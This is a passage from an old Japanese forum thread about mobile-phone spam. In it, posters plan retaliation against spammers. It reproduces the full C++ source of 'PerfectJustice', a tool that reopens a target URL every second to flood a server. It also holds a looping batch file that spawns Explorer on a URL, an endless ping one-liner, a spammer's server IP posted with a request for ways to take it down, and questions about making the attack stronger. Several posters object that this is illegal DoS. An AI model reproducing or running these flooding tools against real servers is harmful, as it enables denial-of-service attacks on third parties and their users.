アドレス指定着信で足りるほど顧客は少なくない
　　　　　　　　↓
君は世間が狭いんだね、うらやましいよネット拒否出来るなんて
0159デフォルトの名無しさんNGNG
>157　いえ、本当です。NTTDocomoのお客様センターに問合せたとき、「問合せセンタの上司」
の男のかたにそういわれました。技術的に不可能、と。
0160デフォルトの名無しさんNGNG
>>159
私もそう聞いた
0161デフォルトの名無しさんNGNG
いっそのこと逆にスパムをもっと無差別に大量に送らせるようにして
一時的にでも世界中のトラフィックをマヒさせたほうが解決には早いかもしれんな。
0162デフォルトの名無しさんNGNG
>>159
いや、そのことが嘘だとは言ってないが、
その社員が言った「技術的に不可能」は嘘。

これは、本体の話だが、
ちゃんとしたWebブラウザできてるんだから・・・
ちゃんとしたメール クライアントができないわけないでしょ・・・

DoCoMo のサーバの負担が大きいなら、スパムでもうけた金使えばいいし。

まぁ、そんな会社なら、始めからこんなことは予期してただろうけど・・・
0163デフォルトの名無しさんNGNG
>161　確かに、今の世の中、そのくらい問題が起こらないと何もかわらないし。
アメリカもテロのこと事前に知っていたらしいし。
0164 NGNG
(1)AirH''で、モバイルで常時接続の小型端末を用意する。
(2)メールを１分間隔で受信。
(3)フリーメールは即排除。未知のアドレスからの初回メールは着信音を鳴らさない。

これで、iモードよりも使いやすく、スパムメールに悩まず、パケット料金を気にしない
モバイルメール環境が出来ると思いますが、何か穴があるかもしれない。もう眠いから。
0165デフォルトの名無しさんNGNG
スパムメール発信者へ同じ量のスパムメールを送ればいいのでは？
つまりメール１つにつき１つのメールが届く感じで。
0166デフォルトの名無しさんNGNG
>162　確かにimodeができたとき、すでに欧州ではSPAMがもんだいになってましたよね。一日5000万ですから、
でも、加入者純増が減ったことですこしは考えるようになったみたいです＞ドキュモ
0167　NGNG
板違い。
ほかでやってくれ。
0168デフォルトの名無しさんNGNG
果たして板違いか。私はそうとは思わないのだが。
0169デフォルトの名無しさんNGNG
>>166
どうかな〜、折れにはポーズにしか見えないけど
0170デフォルトの名無しさんNGNG
ころんちゃんがスペースコロンちゃんになって帰ってきたね
0171　NGNG
>>168
メールの運用なら通信技術板があるだろ。
それよりタイトル一覧見て見ろよ。これだけ浮いてるぞ。
0172デフォルトの名無しさんNGNG
>>170
なんや？
テレビの話題？
0173デフォルトの名無しさんNGNG
>>172
ゴメン、アンダースコアちゃんだった
0174デフォルトの名無しさんNGNG
タイトルはともかく、通信技術板か、まあ、そのような鯖プログラムは可能かって
ことを検討中
0175デフォルトの名無しさんNGNG
>>171
タイトルや>>1のカキコは確かに浮いているが、実際のスレッドの中身は、必ずし
も板違いとは思わない。短時間にスレッドが続いていることは、この板の参加者
に受け入れられていることを意味する。あまり厳密な風紀委員は、板全体を寂れ
させる原因となる。
0176デフォルトの名無しさんNGNG
>173　アンダースコートほしい
0177デフォルトの名無しさんNGNG
>>173
>>171のこと？
0178176NGNG
>177　すまない、アンダースコートに見れてしまった、、鬱氏
0179デフォルトの名無しさんNGNG
>178　すまん、俺はブルマー派だ。

Docomoのリモートメールの鯖は確かDebianだったな
0180デフォルトの名無しさんNGNG
結局効果あったの?
0181デフォルトの名無しさんNGNG
一連の運動で、日本の反スパム運動は地に落ちたな。残念だ。
0182デフォルトの名無しさんNGNG
このスレこんなに、、
>179　リモートメールから送ったところサーバーはDebianと出てました。
間違いないようです。
0183デフォルトの名無しさんNGNG
>一連の運動
1のサイトは一夜にして消滅してしまったな...
一体何があったんだ？
0184名無しさんNGNG
SPAM業者から、かなりの苦情らしきもの
がきたらしい。
0185デフォルトの名無しさんNGNG
(失笑
0186デフォルトの名無しさんNGNG
今宵復活の模様。弾薬開発者募集中
0187いつどこ名無しさんNGNG
NTTはSPAMを辞めさせる気はまったくありません。

実際に話聞きましたが業者との癒着はかなり酷いです。
ある意味SPAMとiModeはシステム化されてます。
0188デフォルトの名無しさんNGNG
プログラマーさんに聞きたいです。ある方より訪問ツールというものを頂きました。
中身がどうなっているのか全くわかりません。原理を教えていただきたいです。

捨てアドを教えてください。ツールを遅らせていただきます
0189デフォルトの名無しさんNGNG
>>187
具体的なｿｰｽをキボーン
0190デフォルトの名無しさんNGNG
＞188
捨てアカウントでどこかにうぷしろ。

で、結局どうなったの？
0191　NGNG
　　　　　　／⌒彡
　　　　 ／　冫、）
　　　　/　 ` ／ 　　ｽﾊﾟｰﾝ
　　　　　つ　　つ　
0192デフォルトの名無しさんNGNG
／⌒◆
　　　　 ／　冫、）
　　　　/　 ` ／ 　　ｽﾊﾟｰﾝ
　　　　　つ　　つ
0193デフォルトの名無しさんNGNG
>190探しています。うぷ
できたらお教えいたします
0194デフォルトの名無しさんNGNG
htmlだろ。ソース貼ればいいじゃん。
どうせフレームで複数同時に同じURL表示して
JavaScriptでリロードしてんだろ。
0195188代理NGNG
俺が変わりにうｐします。
暫くお待ちください。
0196akitoNGNG
うｐちょっと待ってくれ。
これはいくらなんでもヤバイ。
0197そーすです（１）NGNG
// PerfectJustice.cpp : アプリケーション用のエントリ ポイントの定義
//

#include "stdafx.h"
#include "resource.h"
#include <shellapi.h>
#include <Dde.h>
#define MAX_LOADSTRING 100

#define URLBOX 1000
#define START 1001
#define REFRESH_TIMER 1002
char url[1024];
HINSTANCE brhInst;

// グローバル変数:
HINSTANCE hInst; // 現在のインスタンス
TCHAR szTitle[MAX_LOADSTRING]; // タイトル バー テキスト
TCHAR szWindowClass[MAX_LOADSTRING]; // タイトル バー テキスト

// このコード モジュールに含まれる関数の前宣言:
ATOM MyRegisterClass( HINSTANCE hInstance );
BOOL InitInstance( HINSTANCE, int );
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow )
{
// TODO: この位置にコードを記述してください。
MSG msg;
HACCEL hAccelTable;

// グローバル ストリングを初期化します
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_PERFECTJUSTICE, szWindowClass, MAX_LOADSTRING);
MyRegisterClass( hInstance );

// アプリケーションの初期化を行います:
if( !InitInstance( hInstance, nCmdShow ) )
{
return FALSE;
}

hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_PERFECTJUSTICE);
0198そーすです（２）NGNG
// メイン メッセージ ループ:
while( GetMessage(&msg, NULL, 0, 0) )
{
if( !TranslateAccelerator (msg.hwnd, hAccelTable, &msg) )
{
TranslateMessage( &msg );
DispatchMessage( &msg );
}
}

return msg.wParam;
}



//
// 関数: MyRegisterClass()
//
// 用途: ウィンドウ クラスの登録
//
// コメント:
//
// この関数およびその使用はこのコードを Windows 95 で先に追加された
// 'RegisterClassEx' 関数と Win32 システムの互換性を保持したい場合に
// のみ必要となります。アプリケーションが、アプリケーションに関連付け
// られたスモール アイコンを取得できるよう、この関数を呼び出すことは
// 重要です。
//
ATOM MyRegisterClass( HINSTANCE hInstance )
{
WNDCLASSEX wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_PERFECTJUSTICE);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_BACKGROUND);
wcex.lpszMenuName = (LPCSTR)IDC_PERFECTJUSTICE;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);

return RegisterClassEx( &wcex );
}
0199そーすです（３）NGNG
//
// 関数: InitInstance(HANDLE, int)
//
// 用途: インスタンス ハンドルの保存とメイン ウィンドウの作成
//
// コメント:
//
// この関数では、インスタンス ハンドルをグローバル変数に保存し、プログラムの
// メイン ウィンドウを作成し表示します。
//
BOOL InitInstance( HINSTANCE hInstance, int nCmdShow )
{
HWND hWnd;

hInst = hInstance; // グローバル変数にインスタンス ハンドルを保存します

hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, 490, 100, NULL, NULL, hInstance, NULL);

if( !hWnd )
{
return FALSE;
}

ShowWindow( hWnd, nCmdShow );
UpdateWindow( hWnd );

return TRUE;
}
0200そーすです（４）NGNG
//
// 関数: WndProc(HWND, unsigned, WORD, LONG)
//
// 用途: メイン ウィンドウのメッセージを処理します。
//
// WM_COMMAND - アプリケーション メニューの処理
// WM_PAINT - メイン ウィンドウの描画
// WM_DESTROY - 終了メッセージの通知とリターン
//
//
0201そーすです（５）NGNG
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
TCHAR szHello[MAX_LOADSTRING];
LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING);

switch( message )
{
case WM_CREATE:
{
CreateWindowEx( WS_EX_CLIENTEDGE, "EDIT","",
WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOVSCROLL | ES_MULTILINE,
10, 10, 350, 28,hWnd, (HMENU)URLBOX, hInst, NULL);
CreateWindowEx( WS_EX_LEFT,"Button", "閲覧開始", WS_CHILDWINDOW | WS_VISIBLE,
370, 10, 100, 28,hWnd, (HMENU)(START), hInst, NULL);
break;
}
case WM_TIMER:
switch(wParam)
{
case REFRESH_TIMER:
{
brhInst = ShellExecute( hWnd, "open", "EXPLORER.EXE", url, NULL, SW_SHOWNOACTIVATE);
break;
}
}
break;
0202188代理NGNG
受け取って見てみました。
うｐやめときます。
0203そーすです（６）NGNG
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
switch (wmEvent)
{
case BN_CLICKED:
{
switch (wmId)
{
case START:
{
GetWindowText(GetDlgItem( hWnd, URLBOX),url,sizeof(url));
SetTimer(hWnd,REFRESH_TIMER,1000,0);
}
return 0;
default:
return DefWindowProc( hWnd, message, wParam, lParam );
}
}
default:
return DefWindowProc( hWnd, message, wParam, lParam );
break;
}
break;
case WM_CLOSE:
PostQuitMessage( 0 );
break;
case WM_PAINT:
hdc = BeginPaint (hWnd, &ps);
// TODO: この位置に描画用のコードを追加してください...
RECT rt;
GetClientRect( hWnd, &rt );
// DrawText( hdc, szHello, strlen(szHello), &rt, DT_CENTER );
EndPaint( hWnd, &ps );
break;
case WM_DESTROY:
PostQuitMessage( 0 );
break;
default:
return DefWindowProc( hWnd, message, wParam, lParam );
}
return 0;
}
0204そーすNGNG
非常に大きいので分割になってしまいました。申し訳ありません。
どんなしくみかおわかりのかた、教えてください
0205 NGNG
>>204
ウザイ。
コード見て欲しかったら、まず最低７０万円持ってきてください。
0206デフォルトの名無しさんNGNG
長くて見る気が失せた。あと、ヘッダ見せろ（どっちやねん）
0207そーすNGNG
なお、作者によると、配布は危険なので不可とのことです。
0208よーするにこれだろ。ポイントはNGNG
case REFRESH_TIMER:
{
brhInst = ShellExecute( hWnd, "open", "EXPLORER.EXE", url, NULL, SW_SHOWNOACTIVATE);
break;
}
0209デフォルトの名無しさんNGNG
とにかくSPAMはやめなさい。厳命してやる。
韓国のF5連打アタックを笑えなくなるではないか。
0210デフォルトの名無しさんNGNG
>韓国のF5連打アタックを笑えなくなるではないか。
なにこれ？
0211188代理NGNG
>>209
人力Dosアタックでしょ？（笑
0212デフォルトの名無しさんNGNG
そーす見ちゃったよーん。
まあWebチャットと同程度の負荷だけど人数集まると脅威。
0213デフォルトの名無しさんNGNG
>人力Dosアタックでしょ？（笑
馬鹿？。もうちょっと頭使えよ(藁
で、どこ攻撃したの？
0214 NGNG
>>213
韓国人は人力ってことで、「我々は怒っている」ということを伝えたかったんだよ。
あの時は、サイバーテロだって笑ってた２ちゃんねらだけど、同じ事やってどうすん
だよｳﾞｧｶ。
0215デフォルトの名無しさんNGNG
ていうか、これの実行ファイルを無差別配布するならせめて
一定期間後に使えなくなるルーチンとか組み込んでくれよ？
このまま公開するやつは大馬鹿者。
0216デフォルトの名無しさんNGNG
ショヴォイコードだな。俺なら10倍強力なの10分で作れるよ。
0217デフォルトの名無しさんNGNG
この板の反応としては
　・DOSやめろ、馬鹿
　・問題提起としてはあってもいいけど俺はやらん
の２種類ですか？
0218188代理NGNG
>>215
俺の手元からはあぼーんします。

って事で、俺の役目は済んだのでこれで失礼します。

御邪魔しました。
0219そーすNGNG
>215　私もPCから消しました。そんなに危険なものだとは思いませんでした
0220デフォルトの名無しさんNGNG
>216　どのようにですか？
あと、一定期間で無効になるというのはいいですね。
0221デフォルトの名無しさんNGNG
>>217
プログラマは賢いからな。
0222 NGNG
>>217
・ 週末に呼び出されてメンテをしなければならないサーバ管理者、俺はお前の味方だ(w。
0223デフォルトの名無しさんNGNG
>>218-219
あ、いや、実行してもそんな危険つーわけじゃないです。
実行した人は、せいぜいIPがばれて業務妨害で
逮捕されるぐらいです（藁

ただこういうのが厨房の攻撃ツールに使われるとやなんで、
広まってほしくないだけ。
JavaScriptとかで10分で書ける程度の内容なんだから
あんまし気にするひつようないと思ふ。
0224デフォルトの名無しさんNGNG
>223　器物破壊にはならないのでしょうか？
速報板では器物破壊に当たる、との報告もあるのですが。
サーバーの中で何か走らせるようなものなのですか？
0225ほらよNGNG
これで瞬殺
crash.bat

@echo off
:loop
explorer.exe "http://www.xxx.net"
goto loop
0226デフォルトの名無しさんNGNG
誰が瞬殺されちまうんだか（藁
0227デフォルトの名無しさんNGNG
ping -w 0 -t www.xxx.net
0228デフォルトの名無しさんNGNG
NT系の持ってる人、
誰か限界に挑戦して欲しい。
0229デフォルトの名無しさんNGNG
>228
225は試したか？かなーり強力だぞ。
これに耐えるのは困難。
0230デフォルトの名無しさんNGNG
>225あるいは、上記のソースのものをつかうと犯罪になりますか？
0231デフォルトの名無しさんNGNG
相手が落ちる前に自分が落ちるだろ　＞225
0232ななしさんNGNG
>>231
瞬殺ではあると思われ。
0233デフォルトの名無しさんNGNG
>231
ﾊｧ?
まあWin9x/Me厨房のマシンなら落ちるかもね。
NTカーネルなら変な制限がないので
確保した仮想メモリの範囲内でちゃんと動くよ。

>230
DoSは犯罪だが訪問は合法。
explorerの起動が違法でない以上合法。
0234 NGNG
>>233
>DoSは犯罪だが訪問は合法。

これがどうも納得いかん。
0235 NGNG
「訪問」という言葉は、援助交際並にウソ臭いな。
0236メール鯖NGNG
送ってくるドメインは１０以上有りますが
メールサーバは一つのようです

202.148.143.115
tko001m.server-mail.com

レンタルサーバなのかな？
これ↑を瞬殺する方法はないのでしょうか？
0237デフォルトの名無しさん NGNG
>>236
ここは、技術板だから、そういうことは他の板でやってもらいたいし、
その方がアドバイスがもらえると思います。
0238デフォルトの名無しさんNGNG
とにかく、「やめなさい。」
忠告はしたからな。
0239236NGNG
>>237
板違いでしたか...
どっちにしても非合法だろうしなぁ
スマソ
0240　　NGNG
WWWCの作者の人のホームページで、スパムメールを
件名Undelivered Mail Returned to Senderでそのまま送り返すっていう
ソフトのアイデアが書いてあったな。
誰か作んない？
0241デフォルトの名無しさんNGNG
>>240
一度受け取ってからってこと？

だったら、メールソフトでできるんじゃない？
0242 NGNG
>>240-241
どこあてに送り返すのかが問題。下手すれば返信が迷惑メールになる。
0243デフォルトの名無しさんNGNG
DoCoMoとかの POPのdaemonってどうなんだろ？
もとは普通のと同じなのかな？

普通なら対処なんてすぐできるだろうに・・・
0244243NGNG
>>243
ゴメソ。typo

>daemon
demon
0245デフォルトの名無しさんNGNG
やはり、毒には毒をもって制すしかないのか
0246 NGNG
■DDoS攻撃防御装置が登場 06/26/2001
http://www.idg.co.jp/report/itreport/backnumber/200106/20010626_01_security_news.html

>TrafficMaster Inspectorは、現在のトラフィックをネットワーク監視から得られたベースラインと
>比較して、異常なトラフィックを検知し、攻撃が実行されているかどうか判断する。
0247デフォルトの名無しさんNGNG
DoS攻撃とは、標的のシステムに偽のサービス要求を送信して過負荷の状態にし、正当なユーザーがアクセスできないようにするというもの。複数のコンピュータを使用するDoS攻撃を分散型サービス拒否（DDoS）攻撃という。

今回のとは関係ないじゃん。
0248 NGNG
>>247
仕込んだCodeが行うか、人間が行うかの違いこそあれ、本質的にDDos攻撃と
大差はないと考えるが。
0249デフォルトの名無しさんNGNG
偽のサービス要求ということは閲覧しようとIEを立ち上げてリクエストするのは正規のサービス要求。
やはりDoS攻撃ではないのか。
0250 NGNG
>IEを立ち上げてリクエストするのは正規のサービス要求。

だからそういう欺瞞はやめた方がいい。そのような考えで支持を集めるのは
難しいし、世論も動かせない。
0251デフォルトの名無しさんNGNG
>248
どこぞのポータルがクソ鯖でアクセス集中して落ちたら、その際繋いでいた
人間はDDoSに与したことになるの？

一番重要なのは悪意の立証なんだろうけど、スレ違いだな。
0252デフォルトの名無しさんNGNG
いや、正規のブラウザで負荷かける以上
256の装置では検出できるのか疑わしい。
という技術的な話をしてるんだと思うのだが。
0253 NGNG
>>252

>>246のツールは、ddosかどうか、正規のアクセスかどうかなどは気にせず、
アクセス急増の際に、自動的にそのサービスだけ切り離すツールと見たが。
0254デフォルトの名無しさんNGNG
>そのサービスだけ切り離す
それじゃ結果的にサーバダウンと変わらないような...
0255デフォルトの名無しさんNGNG
>251　悪意の立証か。悪意が無かったらいいのか、、なるほろ

>254　同意。なんか意味の無いような気が、、そこだけはじくように
するとか
0256デフォルトの名無しさんNGNG
今後ブラウザリロードなんて手動・半手動な攻撃が一般化すれば対応されるかもね>*246
それには２ちゃんねらの活躍が不可欠だ(藁
0257デフォルトの名無しさんNGNG
>225のスクリプトですが、メモリがいっぱいになって、自分のマシンが落ちてしまいました。
ソース公開されているものをさらに強力にするのってどうすればいいのですか？
0258デフォルトの名無しさんNGNG
>>257
寝ろ
0259257NGNG
>258　気になって眠れない。
0260デフォルトの名無しさんNGNG
総本部が撃沈されたのに以上何をするつもりなんだ？
0261257NGNG
>260　一人でも。
0262デフォルトの名無しさんNGNG
>>261
ここで攻撃に加担するための技術供与するようなプログラマが現れたら
技術者の風上にも置けない奴ということで袋叩きにあうと思われ。
0263257NGNG
SPAMを発信するソフト作成者や鯖の管理者はどうなんですか？
0264デフォルトの名無しさんNGNG
>>263
原爆投下を自己正当化するのと同じような理屈はやめれ。
0265257NGNG
>264　しかし、それでアメリカは勝利した。今回のテロ報復も同じ原理と感じます
0266デフォルトの名無しさんNGNG
>>265
ドンパチやりたいならアメリカ国籍とってアフガンまで出征してきてくれ。
0267デフォルトの名無しさんNGNG
日本国籍でもそのうち出兵できるようになるよ。
0268188代理NGNG
>>257
こんなところで恥晒してないでスレに戻って下さい。
正直言って恥ずかしいので。
0269あげNGNG
強力なのをもとめる
0270©NGNG
自作の Web サーバ負荷テスト用ツールを持っている。
20台で Cisco のルーターにルーティングエラー出させた
事もある。でもあげない。
0271デフォルトの名無しさんNGNG
＞２７０
自分に対してつかいたい。ちょうだい
0272©NGNG
>>271
すまん、客先の名前が入っているからやれねぇんだわ。
0273デフォルトの名無しさんNGNG
どうせなら防御策書いたら？
0274デフォルトの名無しさんNGNG

http://www2.makani.to/akutoku/upload/
でコメントが
自鯖強度測定か
PerfectJusticeか
0275デフォルトの名無しさん NGNG
>>274
上にソースが出てるやつだった。(鬱
こんなヘタレなツールじゃ強度測定にならないよ。
0276デフォルトの名無しさんNGNG
>>275　確かに。LAN直結でぶっ放したらIISは一撃でおちました。いかにIISが弱いかということの証明になりました。
IISで鯖を立て、にわか鯖管理者になっている人間が多いから、Nimdaが拡がったのでは？？鯖を身近にしたという
功績はあるとして、Nimda蔓延については、M$の責任は大きいような気がします。

しかし、なぜ、セキュリティーホールはIISばかりなのでしょう？APACHEのほうが古い為たくさんあると思うのですが。

一説によると、もっとも強いのはMacという話もあります。
0277デフォルトの名無しさんNGNG
>>276
シェアが低いので狙われにくいだけでは？いや、知らんが。
0278デフォルトの名無しさんNGNG
正直、IISは変な設定項目多すぎてよくわからん。
知らんうちに変な穴作ってそうで。

その点、Apacheは視界が良いと思ふ。
0279デフォルトの名無しさんNGNG
素人向けにバカチョンPWS復活させりゃいいのに。
0280デフォルトの名無しさんNGNG
>278　IISのほうがApacheより導入が楽という話もあるが、いれて10分でにわか鯖稼動。

>279　PWSってなくなったの？やっぱり。ということはMEではIIS?
0281デフォルトの名無しさんNGNG
>276
>APACHEのほうが古い為
昔、GETメソッドが危険だって言われてたの知らない？
古い分枯れてないと困る
0282デフォルトの名無しさんNGNG
>276
でもNimda始めIIS叩き系ウイルスって、既存のパッチ当ててたら防げる奴も多いんだよね...
0283ないとめあNGNG
プログラマの方、DOSの定義はどのようなものでしょうか？また、一時間に30万通という
SPAM発射ソフトが開発されたとのことですが、それはISPに対するアタックに当てはまら
ないのでしょうか？Yahooなどのフリーメールが停止したのもつい最近であり、なにが
合法で、何が違法か、業務妨害にあたるのか混乱しています。ぜひ、プロのみなさまに
教えを請いたい所存です。

>282　M$セキュリティーメールですが、発狂しそうなくらい届き、全てにすぐ対応していく
というのは至難の技の模様。サーバー管理者の義務だとは思いますが。
0284デフォルトの名無しさんNGNG
>>283
DoSって書こうよ。
0285ないとめあNGNG
>284　う、、
http://cheese.2ch.net/test/read.cgi?bbs=phs&key=1002652581
にて新展開を模索中。本職様からの意見募集。
教訓を活かせるよう、最大限の努力をしています
0286ないとめあNGNG
DoSに関してありがとうございます。納得いたしました。これからもよろしくお願い
申し上げます
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